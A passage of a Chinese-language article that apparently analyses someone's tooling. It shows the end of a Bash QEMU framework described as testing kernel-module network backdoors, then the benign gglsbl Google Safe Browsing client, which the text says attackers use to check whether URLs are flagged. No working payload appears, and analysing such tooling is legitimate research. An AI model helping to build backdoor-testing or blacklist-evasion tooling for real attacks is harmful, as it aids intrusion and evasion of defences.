&#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">...&#34;</span></span><span leaf="">    rm -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TEMP_ROOTFS</span></span><span leaf="">&#34;</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Cleanup completed for backdoor test: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$(basename &#34;$GUEST_TEST_SCRIPT&#34;)</span></span><span leaf="">.&#34;</span></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这段Bash脚本是一个功能完备、高度自动化的内核模块CI/CD（持续集成/持续部署）测试框架。它通过QEMU创建了一个安全、隔离、可重复的测试环境，能够自动化地完成以下所有工作：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">环境搭建: 启动虚拟机，配置网络。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">部署: 将待测试的内核模块和测试脚本部署到虚拟机中。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">执行: 运行测试脚本。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">交互测试: 支持需要宿主机和虚拟机协同工作的复杂场景（如网络后门测试）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">结果收集: 自动将测试日志从虚拟机下载回宿主机。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">清理: 自动关闭虚拟机并删除所有临时文件。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">测试选择: 支持根据环境变量和标记来选择性地运行测试。</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">C:\Users\Administrator\Desktop\work\work\home\user\gglsbl\gglsbl</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">client.py</span></strong><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这段代码实现了一个Google Safe Browsing API v4的客户端，名为 gglsbl。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使攻击者能够在本地高效地查询一个URL是否被Google标记为恶意网站（例如，钓鱼网站、恶意软件分发网站等），而不需要每次都直接去请求Google的服务器。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/env python</span></span><span leaf="">from base64 import b64decode</span><span leaf="">import logging</span><span leaf="">from gglsbl.utils import to_hex</span><span leaf="">from gglsbl.protocol import SafeBrowsingApiClient, URL</span><span leaf="">from gglsbl.storage import SqliteStorage, ThreatList, HashPrefixList</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">log</span></span><span leaf=""> = logging.getLogger(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;gglsbl&#39;</span></span><span leaf="">)</span><span leaf="">log.addHandler(logging.NullHandler())</span><span leaf="">class SafeBrowsingList(object):</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Interface for Google Safe Browsing API</span><span leaf="">    supporting partial update of the local cache.</span><span leaf="">    <a href="https://developers.google.com/safe-browsing/v4/" target="_blank">https://developers.google.com/safe-browsing/v4/</a></span><span leaf="">    &#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">    def __init__(self, api_key, db_path=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/tmp/gsb_v4.db&#39;</span></span><span leaf="">,</span><span leaf="">                 discard_fair_use_policy=False, platforms=None, timeout=10):</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Constructor.</span><span leaf="">        Args:</span><span leaf="">            api_key: string, a key for API authentication.</span><span leaf="">            db_path: string, path to SQLite DB file to store cached data.</span><span leaf="">            discard_fair_use_policy: boolean, disable request frequency throttling (only for testing).</span><span leaf="">            platforms: list, threat lists to look up, default includes all platforms.</span><span leaf="">            timeout: seconds to wait for Sqlite DB to become unlocked from concurrent WRITE transaction.</span><span leaf="">        &#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">        self.api_client = SafeBrowsingApiClient(api_key, discard_fair_use_policy=discard_fair_use_policy)</span><span leaf="">        self.storage = SqliteStorage(db_path, timeout=timeout)</span><span leaf="">        self.platforms = platforms</span><span leaf="">    def _verify_threat_list_checksum(self, threat_list, remote_checksum):</span><span leaf="">        local_checksum = self.storage.hash_prefix_list_checksum(threat_list)</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> remote_checksum == local_checksum</span><span leaf="">    def update_hash_prefix_cache(self):</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Update locally cached threat lists.&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">        try:</span><span leaf="">            self.storage.cleanup_full_hashes()</span><span leaf="">            self.storage.commit()</span><span leaf="">            self._sync_threat_lists()</span><span leaf="">            self.storage.commit()</span><span leaf="">            self._sync_hash_prefix_cache()</span><span leaf="">        except Exception:</span><span leaf="">            self.storage.rollback()</span><span leaf="">            raise</span><span leaf="">    def _sync_threat_lists(self):</span><span leaf="">        threat_lists_to_remove = dict()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ts </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.storage.get_threat_lists():</span><span leaf="">            threat_lists_to_remove[repr(ts)] = ts</span><span leaf="">        threat_lists = self.api_client.get_threats_lists()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> entry </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> threat_lists:</span><span leaf="">            threat_list = ThreatList.from_api_entry(entry)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.platforms is None or threat_list.platform_type </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.platforms:</span><span leaf="">                self.storage.add_threat_list(threat_list)</span><span leaf="">                try:</span><span leaf="">                    del threat_lists_to_remove[repr(threat_list)]</span><span leaf="">                except KeyError:</span><span leaf="">                    pass</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ts </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> threat_lists_to_remove.values():</span><span leaf="">            self.storage.delete_hash_prefix_list(ts)</span><span leaf="">            self.storage.delete_threat_list(ts)</span><span leaf="">        del threat_lists_to_remove</span><span leaf="">    def _sync_hash_prefix_cache(self):</span><span leaf="">        client_state = self.storage.get_client_state()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> response </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.api_client.get_threats_update(client_state):</span><span leaf="">            response_threat_list = ThreatList(response[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;threatType&#39;</span></span><span leaf="">], response[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;platformType&#39;</span></span><span leaf="">],</span><span leaf="">                                              response[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;threatEntryType&#39;</span></span><span leaf="">])</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> response[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;responseType&#39;</span></span><span leaf="">] == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FULL_UPDATE&#39;</span></span><span leaf="">:</span><span leaf="">                self.storage.delete_hash_prefix_list(response_threat_list)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> r </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> response.get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;removals&#39;</span></span><span leaf="">, []):</span><span leaf="">                self.storage.remove_hash_prefix_indices(response_threat_list, r[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rawIndices&#39;</span></span><span leaf="">][</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;indices&#39;</span></span><span leaf="">])</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> a </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> response.get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;additions&#39;</span></span><span leaf="">, []):</span><span leaf="">                hash_prefix_list = HashPrefixList(a[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rawHashes&#39;</span></span><span leaf="">][</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;prefixSize&#39;</span></span><span leaf="">], b64decode(a[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rawHashes&#39;</span></span><span leaf="">][</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rawHashes&#39;</span></span><span leaf="">]))</span><span leaf="">                self.storage.populate_hash_prefix_list(response_threat_list, hash_prefix_list)</span><span leaf="">            expected_checksum = b64decode(response[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;checksum&#39;</span></span><span leaf="">][</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;sha256&#39;</span></span><span leaf="">])</span><span leaf="">            log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Verifying threat hash prefix list checksum&#39;</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self._verify_threat_list_checksum(response_threat_list, expected_checksum):</span><span leaf="">                log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Local cache checksum matches the server: {}&#39;</span></span><span leaf="">.format(to_hex(expected_checksum)))</span><span leaf="">                self.storage.update_threat_list_client_state(response_threat_list, response[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;newClientState&#39;</span></span><span leaf="">])</span><span leaf="">                self.storage.commit()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf="">                raise Exception(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Local cache checksum does not match the server: &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;{}&#34;. Consider removing {}&#39;</span></span><span leaf="">.format(to_hex(expected_checksum), self.storage.db_path))</span><span leaf="">    def _sync_full_hashes(self, hash_prefixes):</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Download full hashes matching hash_prefixes.</span><span leaf="">        Also update cache expiration timestamps.</span><span leaf="">        &#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">        client_state = self.storage.get_client_state()</span><span leaf="">        fh_response = self.api_client.get_full_hashes(hash_prefixes, client_state)</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># update negative cache for each hash prefix</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># store full hash (insert or update) with positive cache bumped up</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> m </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> fh_response.get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;matches&#39;</span></span><span leaf="">, []):</span><span leaf="">            threat_list = ThreatList(m[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;threatType&#39;</span></span><span leaf="">], m[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;platformType&#39;</span></span><span leaf="">], m[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;threatEntryType&#39;</span></span><span leaf="">])</span><span leaf="">            hash_value = b64decode(m[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;threat&#39;</span></span><span leaf="">][</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;hash&#39;</span></span><span leaf="">])</span><span leaf="">            cache_duration = int(m[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;cacheDuration&#39;</span></span><span leaf="">].rstrip(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s&#39;</span></span><span leaf="">))</span><span leaf="">            malware_threat_type = None</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> metadata </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> m[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;threatEntryMetadata&#39;</span></span><span leaf="">].get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;entries&#39;</span></span><span leaf="">, []):</span><span leaf="">                k = b64decode(metadata[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;key&#39;</span></span><span leaf="">])</span><span leaf="">                v = b64decode(metadata[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;value&#39;</span></span><span leaf="">])</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> k == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;malware_threat_type&#39;</span></span><span leaf="">:</span><span leaf="">                    malware_threat_type = v</span><span leaf="">            self.storage.store_full_hash(threat_list, hash_value, cache_duration, malware_threat_type)</span><span leaf="">        negative_cache_duration = int(fh_response[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;negativeCacheDuration&#39;</span></span><span leaf="">].rstrip(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s&#39;</span></span><span leaf="">))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> prefix_value </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> hash_prefixes:</span><span leaf="">            self.storage.update_hash_prefix_expiration(prefix_value, negative_cache_duration)</span><span leaf="">    def lookup_url(self, url):</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Look up specified URL in Safe Browsing threat lists.&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">type</span></span><span leaf="">(url) is not str:</span><span leaf="">            url = url.encode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;utf8&#39;</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> not url.strip():</span><span leaf="">            raise ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Empty input string.&#34;</span></span><span leaf="">)</span><span leaf="">        url_hashes = URL(url).hashes</span><span leaf="">        try:</span><span leaf="">            list_names = self._lookup_hashes(url_hashes)</span><span leaf="">            self.storage.commit()</span><span leaf="">        except Exception:</span><span leaf="">            self.storage.rollback()</span><span leaf="">            raise</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> list_names:</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> list_names</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> None</span><span leaf="">    def _lookup_hashes(self, full_hashes):</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Lookup URL hash in blacklists</span><span leaf="">        Returns names of lists it was found in.</span><span leaf="">        &#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">        full_hashes = list(full_hashes)</span><span leaf="">        cues = [fh[0:4] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> fh </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> full_hashes]</span><span leaf="">        result = []</span><span leaf="">        matching_prefixes = {}</span><span leaf="">        matching_full_hashes = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">set</span></span><span leaf="">()</span><span leaf="">        is_potential_threat = False</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># First lookup hash prefixes which match full URL hash</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (hash_prefix, negative_cache_expired) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.storage.lookup_hash_prefix(cues):</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> full_hash </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> full_hashes:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> full_hash.startswith(hash_prefix):</span><span leaf="">                    is_potential_threat = True</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># consider hash prefix negative cache as expired if it is expired in at least one threat list</span></span><span leaf="">                    matching_prefixes[hash_prefix] = matching_prefixes.get(hash_prefix, False) or negative_cache_expired</span><span leaf="">                    matching_full_hashes.add(full_hash)</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if none matches, URL hash is clear</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> not is_potential_threat:</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> []</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if there is non-expired full hash, URL is blacklisted</span></span><span leaf="">        matching_expired_threat_lists = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">set</span></span><span leaf="">()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> threat_list, has_expired </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.storage.lookup_full_hashes(matching_full_hashes):</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> has_expired:</span><span leaf="">                matching_expired_threat_lists.add(threat_list)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf="">                result.append(threat_list)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result:</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> result</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># If there are no matching expired full hash entries</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># and negative cache is still current for all prefixes, consider it safe</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(matching_expired_threat_lists) == 0 and sum(map(int, matching_prefixes.values())) == 0:</span><span leaf="">            log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Negative cache hit.&#39;</span></span><span leaf="">)</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> []</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Now we can assume that there are expired matching full hash entries and/or</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># cache prefix entries with expired negative cache. Both require full hash sync.</span></span><span leaf="">        self._sync_full_hashes(matching_prefixes.keys())</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Now repeat full hash lookup</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> threat_list, has_expired </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.storage.lookup_full_hashes(matching_full_hashes):</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> not has_expired:</span><span leaf="">                result.append(threat_list)</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> result</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">该脚本内容与 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">\work\work\home\user\PycharmProjects\gsb</span></strong><span leaf=""> 内容一致。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 